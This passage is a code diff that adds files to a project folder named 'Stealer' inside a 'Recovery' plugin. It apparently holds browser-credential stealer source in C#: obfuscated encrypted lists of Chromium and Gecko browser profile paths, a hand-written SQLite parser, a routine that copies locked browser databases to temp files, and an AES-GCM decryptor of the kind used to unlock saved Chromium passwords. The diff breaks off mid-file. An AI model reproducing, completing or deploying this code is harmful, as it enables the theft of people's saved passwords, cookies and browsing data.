+			221, 174, 169, 88, 91, 11, 213, 207, 43, 146,
+			75, 243
+		}),
+		StringsCrypt.Decrypt(new byte[32]
+		{
+			62, 0, 196, 29, 187, 130, 95, 54, 171, 116,
+			232, 214, 233, 238, 169, 220, 87, 81, 58, 192,
+			55, 32, 9, 66, 192, 71, 163, 194, 155, 180,
+			1, 100
+		}),
+		StringsCrypt.Decrypt(new byte[32]
+		{
+			248, 132, 208, 253, 161, 159, 142, 173, 129, 48,
+			103, 48, 159, 71, 82, 190, 211, 175, 88, 121,
+			54, 47, 62, 205, 43, 35, 160, 92, 160, 146,
+			80, 219
+		}),
+		StringsCrypt.Decrypt(new byte[32]
+		{
+			160, 221, 244, 224, 234, 124, 235, 177, 76, 91,
+			97, 50, 47, 65, 63, 227, 74, 50, 249, 90,
+			53, 48, 13, 166, 106, 36, 144, 79, 133, 138,
+			58, 173
+		}),
+		StringsCrypt.Decrypt(new byte[32]
+		{
+			14, 78, 82, 180, 74, 84, 229, 48, 85, 125,
+			151, 44, 44, 245, 236, 69, 139, 52, 31, 12,
+			236, 152, 84, 192, 7, 253, 207, 160, 82, 205,
+			206, 216
+		}),
+		StringsCrypt.Decrypt(new byte[32]
+		{
+			80, 37, 192, 228, 231, 129, 178, 111, 104, 225,
+			219, 4, 152, 121, 224, 204, 47, 223, 134, 64,
+			65, 137, 96, 90, 39, 174, 0, 233, 231, 244,
+			222, 81
+		}),
+		StringsCrypt.Decrypt(new byte[32]
+		{
+			193, 191, 13, 199, 192, 122, 144, 200, 83, 128,
+			6, 28, 13, 132, 90, 7, 29, 217, 70, 36,
+			4, 149, 132, 62, 242, 153, 217, 247, 182, 13,
+			180, 100
+		}),
+		StringsCrypt.Decrypt(new byte[64]
+		{
+			191, 8, 54, 18, 102, 8, 237, 252, 81, 68,
+			237, 30, 28, 29, 171, 167, 37, 11, 209, 77,
+			139, 81, 1, 98, 185, 217, 150, 213, 121, 123,
+			68, 82, 53, 254, 128, 68, 133, 32, 78, 35,
+			53, 212, 98, 35, 135, 101, 229, 112, 43, 179,
+			17, 51, 150, 27, 145, 232, 59, 202, 27, 195,
+			245, 91, 244, 53
+		}),
+		StringsCrypt.Decrypt(new byte[48]
+		{
+			124, 243, 34, 12, 158, 74, 249, 212, 5, 90,
+			133, 132, 35, 216, 217, 22, 217, 55, 243, 252,
+			51, 87, 241, 238, 86, 244, 62, 37, 95, 154,
+			18, 210, 62, 206, 164, 16, 182, 192, 15, 85,
+			48, 23, 118, 190, 110, 166, 231, 219
+		}),
+		StringsCrypt.Decrypt(new byte[32]
+		{
+			112, 174, 206, 195, 60, 254, 140, 154, 222, 29,
+			174, 131, 97, 154, 190, 225, 101, 102, 44, 184,
+			116, 3, 222, 149, 173, 77, 23, 224, 108, 61,
+			110, 83
+		}),
+		StringsCrypt.Decrypt(new byte[32]
+		{
+			168, 208, 166, 82, 192, 153, 44, 149, 17, 233,
+			52, 199, 126, 180, 93, 48, 18, 157, 146, 139,
+			52, 61, 229, 244, 233, 177, 174, 202, 13, 20,
+			68, 248
+		}),
+		StringsCrypt.Decrypt(new byte[32]
+		{
+			15, 171, 27, 72, 143, 86, 53, 189, 140, 83,
+			1, 120, 66, 90, 66, 28, 128, 139, 207, 118,
+			135, 205, 39, 142, 89, 231, 22, 111, 194, 199,
+			245, 22
+		}),
+		StringsCrypt.Decrypt(new byte[32]
+		{
+			64, 252, 183, 118, 9, 181, 137, 115, 42, 20,
+			107, 204, 169, 49, 101, 240, 160, 210, 28, 182,
+			65, 1, 170, 136, 179, 86, 242, 2, 40, 236,
+			39, 92
+		}),
+		StringsCrypt.Decrypt(new byte[32]
+		{
+			163, 202, 80, 117, 26, 124, 142, 96, 200, 150,
+			88, 164, 24, 244, 151, 69, 200, 214, 2, 103,
+			223, 49, 243, 222, 70, 137, 79, 85, 208, 132,
+			160, 180
+		}),
+		StringsCrypt.Decrypt(new byte[32]
+		{
+			190, 180, 48, 187, 130, 241, 22, 142, 148, 81,
+			86, 118, 125, 198, 67, 134, 168, 170, 218, 153,
+			252, 65, 45, 99, 146, 136, 184, 169, 8, 176,
+			254, 158
+		}),
+		StringsCrypt.Decrypt(new byte[32]
+		{
+			134, 62, 128, 238, 85, 244, 104, 139, 79, 49,
+			203, 166, 37, 19, 150, 80, 195, 12, 211, 168,
+			230, 85, 8, 141, 82, 13, 200, 163, 193, 61,
+			249, 18
+		}),
+		StringsCrypt.Decrypt(new byte[48]
+		{
+			189, 176, 161, 91, 124, 7, 222, 38, 230, 226,
+			175, 16, 213, 160, 182, 221, 133, 88, 75, 233,
+			51, 39, 227, 90, 53, 56, 98, 251, 118, 191,
+			198, 4, 38, 3, 145, 152, 83, 170, 23, 225,
+			66, 207, 208, 132, 167, 27, 63, 43
+		}),
+		StringsCrypt.Decrypt(new byte[32]
+		{
+			13, 6, 120, 217, 132, 74, 167, 141, 165, 239,
+			104, 198, 115, 212, 98, 108, 230, 36, 207, 96,
+			112, 142, 221, 116, 224, 149, 170, 246, 80, 191,
+			143, 130
+		}),
+		StringsCrypt.Decrypt(new byte[32]
+		{
+			59, 208, 82, 153, 38, 145, 53, 186, 128, 79,
+			177, 14, 101, 235, 46, 148, 230, 52, 225, 181,
+			155, 81, 183, 213, 37, 54, 26, 129, 9, 171,
+			114, 201
+		}),
+		StringsCrypt.Decrypt(new byte[32]
+		{
+			210, 110, 31, 64, 140, 5, 137, 32, 239, 70,
+			133, 139, 182, 28, 116, 149, 137, 179, 177, 211,
+			237, 32, 56, 74, 238, 183, 94, 93, 153, 52,
+			180, 166
+		}),
+		StringsCrypt.Decrypt(new byte[32]
+		{
+			127, 26, 51, 8, 51, 33, 160, 156, 24, 156,
+			118, 176, 53, 117, 49, 254, 255, 109, 181, 189,
+			202, 185, 182, 67, 39, 65, 51, 52, 173, 18,
+			238, 176
+		}),
+		StringsCrypt.Decrypt(new byte[32]
+		{
+			199, 54, 29, 56, 170, 241, 14, 100, 162, 6,
+			72, 161, 113, 24, 82, 202, 17, 115, 136, 234,
+			7, 212, 113, 6, 151, 135, 75, 247, 247, 173,
+			203, 24
+		}),
+		StringsCrypt.Decrypt(new byte[32]
+		{
+			83, 72, 133, 227, 83, 110, 30, 229, 236, 41,
+			214, 6, 199, 29, 46, 177, 241, 54, 120, 70,
+			151, 178, 31, 141, 61, 90, 213, 35, 23, 246,
+			13, 83
+		}),
+		StringsCrypt.Decrypt(new byte[32]
+		{
+			104, 246, 234, 64, 237, 165, 148, 53, 5, 137,
+			111, 113, 171, 60, 134, 245, 123, 46, 6, 132,
+			64, 48, 18, 15, 251, 4, 115, 37, 170, 131,
+			50, 128
+		}),
+		StringsCrypt.Decrypt(new byte[32]
+		{
+			133, 151, 179, 255, 133, 211, 180, 66, 84, 153,
+			153, 102, 25, 119, 175, 75, 37, 11, 232, 242,
+			215, 134, 15, 104, 97, 24, 243, 15, 72, 21,
+			214, 148
+		}),
+		StringsCrypt.Decrypt(new byte[32]
+		{
+			101, 40, 56, 105, 89, 211, 223, 54, 3, 104,
+			25, 89, 1, 122, 183, 190, 84, 174, 204, 213,
+			56, 142, 216, 145, 19, 148, 221, 119, 63, 0,
+			14, 109
+		}),
+		StringsCrypt.Decrypt(new byte[32]
+		{
+			175, 246, 73, 246, 49, 254, 11, 23, 218, 203,
+			11, 198, 89, 205, 176, 84, 56, 68, 227, 191,
+			99, 91, 219, 129, 239, 50, 148, 130, 220, 188,
+			164, 21
+		}),
+		StringsCrypt.Decrypt(new byte[48]
+		{
+			75, 24, 125, 65, 43, 53, 196, 162, 16, 125,
+			167, 152, 46, 91, 169, 88, 249, 110, 125, 80,
+			24, 9, 189, 218, 64, 40, 44, 44, 182, 21,
+			14, 72, 150, 141, 179, 43, 1, 75, 180, 171,
+			191, 237, 98, 81, 222, 4, 48, 130
+		})
+		};
+
+		public static string[] sGeckoBrowserPaths = new string[8]
+		{
+		StringsCrypt.Decrypt(new byte[32]
+		{
+			25, 165, 254, 213, 23, 104, 22, 140, 50, 180,
+			13, 111, 144, 203, 43, 22, 130, 192, 203, 173,
+			216, 174, 203, 198, 119, 247, 195, 48, 28, 15,
+			102, 251
+		}),
+		StringsCrypt.Decrypt(new byte[16]
+		{
+			57, 61, 215, 94, 116, 76, 131, 196, 108, 135,
+			85, 159, 219, 37, 127, 47
+		}),
+		StringsCrypt.Decrypt(new byte[16]
+		{
+			131, 14, 255, 168, 2, 46, 205, 11, 17, 125,
+			39, 71, 131, 241, 39, 192
+		}),
+		StringsCrypt.Decrypt(new byte[16]
+		{
+			78, 198, 187, 164, 195, 98, 111, 181, 201, 137,
+			136, 6, 94, 66, 48, 57
+		}),
+		StringsCrypt.Decrypt(new byte[32]
+		{
+			15, 197, 238, 219, 54, 25, 176, 66, 84, 247,
+			8, 76, 207, 35, 202, 142, 147, 45, 233, 227,
+			100, 60, 238, 136, 160, 192, 140, 59, 107, 214,
+			244, 202
+		}),
+		StringsCrypt.Decrypt(new byte[32]
+		{
+			153, 86, 193, 227, 188, 184, 28, 41, 79, 37,
+			113, 236, 3, 244, 237, 150, 134, 53, 212, 66,
+			69, 82, 197, 61, 225, 15, 130, 151, 189, 246,
+			126, 205
+		}),
+		StringsCrypt.Decrypt(new byte[32]
+		{
+			196, 189, 143, 56, 114, 249, 19, 12, 92, 176,
+			156, 66, 203, 221, 53, 72, 131, 177, 110, 160,
+			95, 218, 63, 31, 217, 46, 132, 4, 211, 175,
+			216, 239
+		}),
+		StringsCrypt.Decrypt(new byte[48]
+		{
+			156, 253, 178, 143, 188, 39, 142, 60, 241, 99,
+			247, 116, 211, 99, 5, 119, 40, 243, 72, 59,
+			0, 175, 243, 243, 94, 202, 67, 206, 126, 176,
+			47, 182, 145, 87, 37, 85, 76, 138, 57, 238,
+			162, 167, 29, 248, 230, 180, 133, 57
+		})
+		};
+
+		public static string EdgePath = StringsCrypt.Decrypt(new byte[32]
+		{
+		156, 195, 223, 143, 60, 17, 189, 255, 52, 135,
+		177, 35, 20, 86, 6, 119, 131, 100, 33, 246,
+		174, 234, 146, 72, 65, 90, 212, 244, 233, 203,
+		145, 176
+		});
+
+		public static string appdata = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
+
+		public static string lappdata = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData);
+	}
+}

Plugins/Recovery/Recovery/Stealer/SQLite.cs

@@ -0,0 +1,422 @@
+using System;
+using System.IO;
+using System.Text;
+
+namespace Stealer
+{
+	// Token: 0x0200001E RID: 30
+	internal class SQLite
+	{
+		private struct RecordHeaderField
+		{
+			public long Size;
+
+			public long Type;
+		}
+
+		private struct TableEntry
+		{
+			public string[] Content;
+		}
+
+		private struct SqliteMasterEntry
+		{
+			public string ItemName;
+
+			public long RootNum;
+
+			public string SqlStatement;
+		}
+
+		private readonly byte[] _sqlDataTypeSize = new byte[10] { 0, 1, 2, 3, 4, 6, 8, 8, 0, 0 };
+
+		private readonly ulong _dbEncoding;
+
+		private readonly byte[] _fileBytes;
+
+		private readonly ulong _pageSize;
+
+		private string[] _fieldNames;
+
+		private SqliteMasterEntry[] _masterTableEntries;
+
+		private TableEntry[] _tableEntries;
+
+		public SQLite(string fileName)
+		{
+			_fileBytes = File.ReadAllBytes(fileName);
+			_pageSize = ConvertToULong(16, 2);
+			_dbEncoding = ConvertToULong(56, 4);
+			ReadMasterTable(100L);
+		}
+
+		public string GetValue(int rowNum, int field)
+		{
+			try
+			{
+				if (rowNum >= _tableEntries.Length)
+				{
+					return null;
+				}
+				return (field >= _tableEntries[rowNum].Content.Length) ? null : _tableEntries[rowNum].Content[field];
+			}
+			catch
+			{
+				return "";
+			}
+		}
+
+		public int GetRowCount()
+		{
+			return _tableEntries.Length;
+		}
+
+		private bool ReadTableFromOffset(ulong offset)
+		{
+			try
+			{
+				if (_fileBytes[offset] == 13)
+				{
+					uint num = (uint)(ConvertToULong((int)offset + 3, 2) - 1);
+					int num2 = 0;
+					if (_tableEntries != null)
+					{
+						num2 = _tableEntries.Length;
+						Array.Resize(ref _tableEntries, _tableEntries.Length + (int)num + 1);
+					}
+					else
+					{
+						_tableEntries = new TableEntry[num + 1];
+					}
+					for (uint num3 = 0u; (int)num3 <= (int)num; num3++)
+					{
+						ulong num4 = ConvertToULong((int)offset + 8 + (int)(num3 * 2), 2);
+						if (offset != 100)
+						{
+							num4 += offset;
+						}
+						int num5 = Gvl((int)num4);
+						Cvl((int)num4, num5);
+						int num6 = Gvl((int)((long)num4 + ((long)num5 - (long)num4) + 1));
+						Cvl((int)((long)num4 + ((long)num5 - (long)num4) + 1), num6);
+						ulong num7 = num4 + (ulong)((long)num6 - (long)num4 + 1);
+						int num8 = Gvl((int)num7);
+						int num9 = num8;
+						long num10 = Cvl((int)num7, num8);
+						RecordHeaderField[] array = null;
+						long num11 = (long)num7 - (long)num8 + 1;
+						int num12 = 0;
+						while (num11 < num10)
+						{
+							Array.Resize(ref array, num12 + 1);
+							int num13 = num9 + 1;
+							num9 = Gvl(num13);
+							array[num12].Type = Cvl(num13, num9);
+							array[num12].Size = ((array[num12].Type <= 9) ? _sqlDataTypeSize[array[num12].Type] : ((!IsOdd(array[num12].Type)) ? ((array[num12].Type - 12) / 2) : ((array[num12].Type - 13) / 2)));
+							num11 = num11 + (num9 - num13) + 1;
+							num12++;
+						}
+						if (array == null)
+						{
+							continue;
+						}
+						_tableEntries[num2 + (int)num3].Content = new string[array.Length];
+						int num14 = 0;
+						for (int i = 0; i <= array.Length - 1; i++)
+						{
+							if (array[i].Type > 9)
+							{
+								if (!IsOdd(array[i].Type))
+								{
+									if (_dbEncoding == 1)
+									{
+										_tableEntries[num2 + (int)num3].Content[i] = Encoding.Default.GetString(_fileBytes, (int)((long)num7 + num10 + num14), (int)array[i].Size);
+									}
+									else if (_dbEncoding == 2)
+									{
+										_tableEntries[num2 + (int)num3].Content[i] = Encoding.Unicode.GetString(_fileBytes, (int)((long)num7 + num10 + num14), (int)array[i].Size);
+									}
+									else if (_dbEncoding == 3)
+									{
+										_tableEntries[num2 + (int)num3].Content[i] = Encoding.BigEndianUnicode.GetString(_fileBytes, (int)((long)num7 + num10 + num14), (int)array[i].Size);
+									}
+								}
+								else
+								{
+									_tableEntries[num2 + (int)num3].Content[i] = Encoding.Default.GetString(_fileBytes, (int)((long)num7 + num10 + num14), (int)array[i].Size);
+								}
+							}
+							else
+							{
+								_tableEntries[num2 + (int)num3].Content[i] = Convert.ToString(ConvertToULong((int)((long)num7 + num10 + num14), (int)array[i].Size));
+							}
+							num14 += (int)array[i].Size;
+						}
+					}
+				}
+				else if (_fileBytes[offset] == 5)
+				{
+					uint num15 = (uint)(ConvertToULong((int)(offset + 3), 2) - 1);
+					for (uint num16 = 0u; (int)num16 <= (int)num15; num16++)
+					{
+						uint num17 = (uint)ConvertToULong((int)offset + 12 + (int)(num16 * 2), 2);
+						ReadTableFromOffset((ConvertToULong((int)(offset + num17), 4) - 1) * _pageSize);
+					}
+					ReadTableFromOffset((ConvertToULong((int)(offset + 8), 4) - 1) * _pageSize);
+				}
+				return true;
+			}
+			catch
+			{
+				return false;
+			}
+		}
+
+		private void ReadMasterTable(long offset)
+		{
+			try
+			{
+				switch (_fileBytes[offset])
+				{
+					case 5:
+						{
+							uint num11 = (uint)(ConvertToULong((int)offset + 3, 2) - 1);
+							for (int j = 0; j <= (int)num11; j++)
+							{
+								uint num12 = (uint)ConvertToULong((int)offset + 12 + j * 2, 2);
+								if (offset == 100)
+								{
+									ReadMasterTable((long)((ConvertToULong((int)num12, 4) - 1) * _pageSize));
+								}
+								else
+								{
+									ReadMasterTable((long)((ConvertToULong((int)(offset + num12), 4) - 1) * _pageSize));
+								}
+							}
+							ReadMasterTable((long)((ConvertToULong((int)offset + 8, 4) - 1) * _pageSize));
+							break;
+						}
+					case 13:
+						{
+							ulong num = ConvertToULong((int)offset + 3, 2) - 1;
+							int num2 = 0;
+							if (_masterTableEntries != null)
+							{
+								num2 = _masterTableEntries.Length;
+								Array.Resize(ref _masterTableEntries, _masterTableEntries.Length + (int)num + 1);
+							}
+							else
+							{
+								checked
+								{
+									_masterTableEntries = new SqliteMasterEntry[(ulong)unchecked((long)(num + 1))];
+								}
+							}
+							for (ulong num3 = 0uL; num3 <= num; num3++)
+							{
+								ulong num4 = ConvertToULong((int)offset + 8 + (int)num3 * 2, 2);
+								if (offset != 100)
+								{
+									num4 += (ulong)offset;
+								}
+								int num5 = Gvl((int)num4);
+								Cvl((int)num4, num5);
+								int num6 = Gvl((int)((long)num4 + ((long)num5 - (long)num4) + 1));
+								Cvl((int)((long)num4 + ((long)num5 - (long)num4) + 1), num6);
+								ulong num7 = num4 + (ulong)((long)num6 - (long)num4 + 1);
+								int num8 = Gvl((int)num7);
+								int num9 = num8;
+								long num10 = Cvl((int)num7, num8);
+								long[] array = new long[5];
+								for (int i = 0; i <= 4; i++)
+								{
+									int startIdx = num9 + 1;
+									num9 = Gvl(startIdx);
+									array[i] = Cvl(startIdx, num9);
+									array[i] = ((array[i] <= 9) ? _sqlDataTypeSize[array[i]] : ((!IsOdd(array[i])) ? ((array[i] - 12) / 2) : ((array[i] - 13) / 2)));
+								}
+								if (_dbEncoding == 1 || _dbEncoding == 2)
+								{
+									if (_dbEncoding == 1)
+									{
+										_masterTableEntries[num2 + (int)num3].ItemName = Encoding.Default.GetString(_fileBytes, (int)((long)num7 + num10 + array[0]), (int)array[1]);
+									}
+									else if (_dbEncoding == 2)
+									{
+										_masterTableEntries[num2 + (int)num3].ItemName = Encoding.Unicode.GetString(_fileBytes, (int)((long)num7 + num10 + array[0]), (int)array[1]);
+									}
+									else if (_dbEncoding == 3)
+									{
+										_masterTableEntries[num2 + (int)num3].ItemName = Encoding.BigEndianUnicode.GetString(_fileBytes, (int)((long)num7 + num10 + array[0]), (int)array[1]);
+									}
+								}
+								_masterTableEntries[num2 + (int)num3].RootNum = (long)ConvertToULong((int)((long)num7 + num10 + array[0] + array[1] + array[2]), (int)array[3]);
+								if (_dbEncoding == 1)
+								{
+									_masterTableEntries[num2 + (int)num3].SqlStatement = Encoding.Default.GetString(_fileBytes, (int)((long)num7 + num10 + array[0] + array[1] + array[2] + array[3]), (int)array[4]);
+								}
+								else if (_dbEncoding == 2)
+								{
+									_masterTableEntries[num2 + (int)num3].SqlStatement = Encoding.Unicode.GetString(_fileBytes, (int)((long)num7 + num10 + array[0] + array[1] + array[2] + array[3]), (int)array[4]);
+								}
+								else if (_dbEncoding == 3)
+								{
+									_masterTableEntries[num2 + (int)num3].SqlStatement = Encoding.BigEndianUnicode.GetString(_fileBytes, (int)((long)num7 + num10 + array[0] + array[1] + array[2] + array[3]), (int)array[4]);
+								}
+							}
+							break;
+						}
+				}
+			}
+			catch
+			{
+			}
+		}
+
+		public bool ReadTable(string tableName)
+		{
+			try
+			{
+				int num = -1;
+				for (int i = 0; i <= _masterTableEntries.Length; i++)
+				{
+					if (string.Compare(_masterTableEntries[i].ItemName.ToLower(), tableName.ToLower(), StringComparison.Ordinal) == 0)
+					{
+						num = i;
+						break;
+					}
+				}
+				if (num == -1)
+				{
+					return false;
+				}
+				string[] array = _masterTableEntries[num].SqlStatement.Substring(_masterTableEntries[num].SqlStatement.IndexOf("(", StringComparison.Ordinal) + 1).Split(',');
+				for (int j = 0; j <= array.Length - 1; j++)
+				{
+					array[j] = array[j].TrimStart();
+					int num2 = array[j].IndexOf(' ');
+					if (num2 > 0)
+					{
+						array[j] = array[j].Substring(0, num2);
+					}
+					if (array[j].IndexOf("UNIQUE", StringComparison.Ordinal) != 0)
+					{
+						Array.Resize(ref _fieldNames, j + 1);
+						_fieldNames[j] = array[j];
+					}
+				}
+				return ReadTableFromOffset((ulong)(_masterTableEntries[num].RootNum - 1) * _pageSize);
+			}
+			catch
+			{
+				return false;
+			}
+		}
+
+		private ulong ConvertToULong(int startIndex, int size)
+		{
+			try
+			{
+				if (size > 8 || size == 0)
+				{
+					return 0uL;
+				}
+				ulong num = 0uL;
+				for (int i = 0; i <= size - 1; i++)
+				{
+					num = (num << 8) | _fileBytes[startIndex + i];
+				}
+				return num;
+			}
+			catch
+			{
+				return 0uL;
+			}
+		}
+
+		private int Gvl(int startIdx)
+		{
+			try
+			{
+				if (startIdx > _fileBytes.Length)
+				{
+					return 0;
+				}
+				for (int i = startIdx; i <= startIdx + 8; i++)
+				{
+					if (i > _fileBytes.Length - 1)
+					{
+						return 0;
+					}
+					if ((_fileBytes[i] & 0x80) != 128)
+					{
+						return i;
+					}
+				}
+				return startIdx + 8;
+			}
+			catch
+			{
+				return 0;
+			}
+		}
+
+		private long Cvl(int startIdx, int endIdx)
+		{
+			try
+			{
+				endIdx++;
+				byte[] array = new byte[8];
+				int num = endIdx - startIdx;
+				bool flag = false;
+				if (num == 0 || num > 9)
+				{
+					return 0L;
+				}
+				switch (num)
+				{
+					case 1:
+						array[0] = (byte)(_fileBytes[startIdx] & 0x7Fu);
+						return BitConverter.ToInt64(array, 0);
+					case 9:
+						flag = true;
+						break;
+				}
+				int num2 = 1;
+				int num3 = 7;
+				int num4 = 0;
+				if (flag)
+				{
+					array[0] = _fileBytes[endIdx - 1];
+					endIdx--;
+					num4 = 1;
+				}
+				for (int i = endIdx - 1; i >= startIdx; i += -1)
+				{
+					if (i - 1 >= startIdx)
+					{
+						array[num4] = (byte)(((_fileBytes[i] >> num2 - 1) & (255 >> num2)) | (_fileBytes[i - 1] << num3));
+						num2++;
+						num4++;
+						num3--;
+					}
+					else if (!flag)
+					{
+						array[num4] = (byte)((_fileBytes[i] >> num2 - 1) & (255 >> num2));
+					}
+				}
+				return BitConverter.ToInt64(array, 0);
+			}
+			catch
+			{
+				return 0L;
+			}
+		}
+
+		private static bool IsOdd(long value)
+		{
+			return (value & 1) == 1;
+		}
+	}
+
+}

Plugins/Recovery/Recovery/Stealer/Site.cs

@@ -0,0 +1,14 @@
+using System;
+
+namespace Stealer
+{
+	public class Site : Item
+	{
+		public string sUrl { get; set; }
+
+		public string sTitle { get; set; }
+
+		public int iCount { get; set; }
+	}
+
+}

Plugins/Recovery/Recovery/Stealer/SqlReader.cs

@@ -0,0 +1,27 @@
+using System;
+using System.IO;
+
+namespace Stealer
+{
+	internal sealed class SqlReader
+	{
+		public static SQLite ReadTable(string database, string table)
+		{
+			if (!File.Exists(database))
+			{
+				return null;
+			}
+			string text = Path.GetTempFileName() + ".dat";
+			File.Copy(database, text);
+			SQLite sQLite = new SQLite(text);
+			sQLite.ReadTable(table);
+			File.Delete(text);
+			if (sQLite.GetRowCount() == 65536)
+			{
+				return null;
+			}
+			return sQLite;
+		}
+	}
+
+}

Plugins/Recovery/Recovery/Stealer/cAesGcm.cs

@@ -0,0 +1,127 @@
+using System;
+using System.Runtime.InteropServices;
+using System.Security.Cryptography;
+using System.Text;
+
+namespace Stealer
+{
+	internal class cAesGcm
+	{
+		public byte[] Decrypt(byte[] key, byte[] iv, byte[] aad, byte[] cipherText, byte[] authTag)
+		{
+			IntPtr intPtr = OpenAlgorithmProvider(cBCrypt.BCRYPT_AES_ALGORITHM, cBCrypt.MS_PRIMITIVE_PROVIDER, cBCrypt.BCRYPT_CHAIN_MODE_GCM);
+			IntPtr hKey;
+			IntPtr hglobal = ImportKey(intPtr, key, out hKey);
+			cBCrypt.BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO pPaddingInfo = new cBCrypt.BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO(iv, aad, authTag);
+			byte[] array2;
+			using (pPaddingInfo)
+			{
+				byte[] array = new byte[MaxAuthTagSize(intPtr)];
+				int pcbResult = 0;
+				uint num = cBCrypt.BCryptDecrypt(hKey, cipherText, cipherText.Length, ref pPaddingInfo, array, array.Length, null, 0, ref pcbResult, 0);
+				if (num != 0)
+				{
+					throw new CryptographicException($"BCrypt.BCryptDecrypt() (get size) failed with status code: {num}");
+				}
+				array2 = new byte[pcbResult];
+				num = cBCrypt.BCryptDecrypt(hKey, cipherText, cipherText.Length, ref pPaddingInfo, array, array.Length, array2, array2.Length, ref pcbResult, 0);
+				if (num == cBCrypt.STATUS_AUTH_TAG_MISMATCH)
+				{
+					throw new CryptographicException("BCrypt.BCryptDecrypt(): authentication tag mismatch");
+				}
+				if (num != 0)
+				{
+					throw new CryptographicException($"BCrypt.BCryptDecrypt() failed with status code:{num}");
+				}
+			}
+			cBCrypt.BCryptDestroyKey(hKey);
+			Marshal.FreeHGlobal(hglobal);
+			cBCrypt.BCryptCloseAlgorithmProvider(intPtr, 0u);
+			return array2;
+		}
+
+		private int MaxAuthTagSize(IntPtr hAlg)
+		{
+			byte[] property = GetProperty(hAlg, cBCrypt.BCRYPT_AUTH_TAG_LENGTH);
+			return BitConverter.ToInt32(new byte[4]
+			{
+			property[4],
+			property[5],
+			property[6],
+			property[7]
+			}, 0);
+		}
+
+		private IntPtr OpenAlgorithmProvider(string alg, string provider, string chainingMode)
+		{
+			IntPtr phAlgorithm = IntPtr.Zero;
+			uint num = cBCrypt.BCryptOpenAlgorithmProvider(out phAlgorithm, alg, provider, 0u);
+			if (num != 0)
+			{
+				throw new CryptographicException($"BCrypt.BCryptOpenAlgorithmProvider() failed with status code:{num}");
+			}
+			byte[] bytes = Encoding.Unicode.GetBytes(chainingMode);
+			num = cBCrypt.BCryptSetAlgorithmProperty(phAlgorithm, cBCrypt.BCRYPT_CHAINING_MODE, bytes, bytes.Length, 0);
+			if (num != 0)
+			{
+				throw new CryptographicException($"BCrypt.BCryptSetAlgorithmProperty(BCrypt.BCRYPT_CHAINING_MODE, BCrypt.BCRYPT_CHAIN_MODE_GCM) failed with status code:{num}");
+			}
+			return phAlgorithm;
+		}
+
+		private IntPtr ImportKey(IntPtr hAlg, byte[] key, out IntPtr hKey)
+		{
+			byte[] property = GetProperty(hAlg, cBCrypt.BCRYPT_OBJECT_LENGTH);
+			int num = BitConverter.ToInt32(property, 0);
+			IntPtr intPtr = Marshal.AllocHGlobal(num);
+			byte[] array = Concat(cBCrypt.BCRYPT_KEY_DATA_BLOB_MAGIC, BitConverter.GetBytes(1), BitConverter.GetBytes(key.Length), key);
+			uint num2 = cBCrypt.BCryptImportKey(hAlg, IntPtr.Zero, cBCrypt.BCRYPT_KEY_DATA_BLOB, out hKey, intPtr, num, array, array.Length, 0u);
+			if (num2 != 0)
+			{
+				throw new CryptographicException($"BCrypt.BCryptImportKey() failed with status code:{num2}");
+			}
+			return intPtr;
+		}
+
+		private byte[] GetProperty(IntPtr hAlg, string name)
+		{
+			int pcbResult = 0;
+			uint num = cBCrypt.BCryptGetProperty(hAlg, name, null, 0, ref pcbResult, 0u);
+			if (num != 0)
+			{
+				throw new CryptographicException($"BCrypt.BCryptGetProperty() (get size) failed with status code:{num}");
+			}
+			byte[] array = new byte[pcbResult];
+			num = cBCrypt.BCryptGetProperty(hAlg, name, array, array.Length, ref pcbResult, 0u);
+			if (num != 0)
+			{
+				throw new CryptographicException($"BCrypt.BCryptGetProperty() failed with status code:{num}");
+			}
+			return array;
+		}
+
+		public byte[] Concat(params byte[][] arrays)
+		{
+			int num = 0;
+			foreach (byte[] array in arrays)
+			{
+				if (array != null)
+				{
+					num += array.Length;
+				}
+			}
+			byte[] array2 = new byte[num - 1 + 1];
+			int num2 = 0;
+			foreach (byte[] array3 in arrays)
+			{
+				if (array3 != null)
+				{
+					Buffer.BlockCopy(array3, 0, array2, num2, array3.Length);
+					num2 += array3.Length;
+				}
+			}
+			return array2;
+		}
+	}
+
+}

Plugins/Recovery/Recovery/Stealer/cBCrypt.cs

@@ -0,0 +1,176 @@
+using System;
+using System.Runtime.InteropServices;
+
+namespace Stealer
+{
+	public static class cBCrypt
+	{
+		public struct BCRYPT_PSS_PADDING_INFO
+		{
+			[MarshalAs(UnmanagedType.LPWStr)]
+			public string pszAlgId;
+
+			public int cbSalt;
+
+			public BCRYPT_PSS_PADDING_INFO(string pszAlgId, int cbSalt)
+			{
+				this.pszAlgId = pszAlgId;
+				this.cbSalt = cbSalt;
+			}
+		}
+
+		public struct BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO : IDisposable
+		{
+			public int cbSize;
+
+			public int dwInfoVersion;
+
+			public IntPtr pbNonce;
+
+			public int cbNonce;
+
+			public IntPtr pbAuthData;
+
+			public int cbAuthData;
+
+			public IntPtr pbTag;
+
+			public int cbTag;
+
+			public IntPtr pbMacContext;
+
+			public int cbMacContext;
+
+			public int cbAAD;
+
+			public long cbData;
+
+			public int dwFlags;
+
+			public BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO(byte[] iv, byte[] aad, byte[] tag)
+			{
+				this = default(BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO);
+				dwInfoVersion = BCRYPT_INIT_AUTH_MODE_INFO_VERSION;
+				cbSize = Marshal.SizeOf(typeof(BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO));
+				if (iv != null)
+				{
+					cbNonce = iv.Length;
+					pbNonce = Marshal.AllocHGlobal(cbNonce);
+					Marshal.Copy(iv, 0, pbNonce, cbNonce);
+				}
+				if (aad != null)
+				{
+					cbAuthData = aad.Length;
+					pbAuthData = Marshal.AllocHGlobal(cbAuthData);
+					Marshal.Copy(aad, 0, pbAuthData, cbAuthData);
+				}
+				if (tag != null)
+				{
+					cbTag = tag.Length;
+					pbTag = Marshal.AllocHGlobal(cbTag);
+					Marshal.Copy(tag, 0, pbTag, cbTag);
+					cbMacContext = tag.Length;
+					pbMacContext = Marshal.AllocHGlobal(cbMacContext);
+				}
+			}
+
+			public void Dispose()
+			{
+				if (pbNonce != IntPtr.Zero)
+				{
+					Marshal.FreeHGlobal(pbNonce);
+				}
+				if (pbTag != IntPtr.Zero)
+				{
+					Marshal.FreeHGlobal(pbTag);
+				}
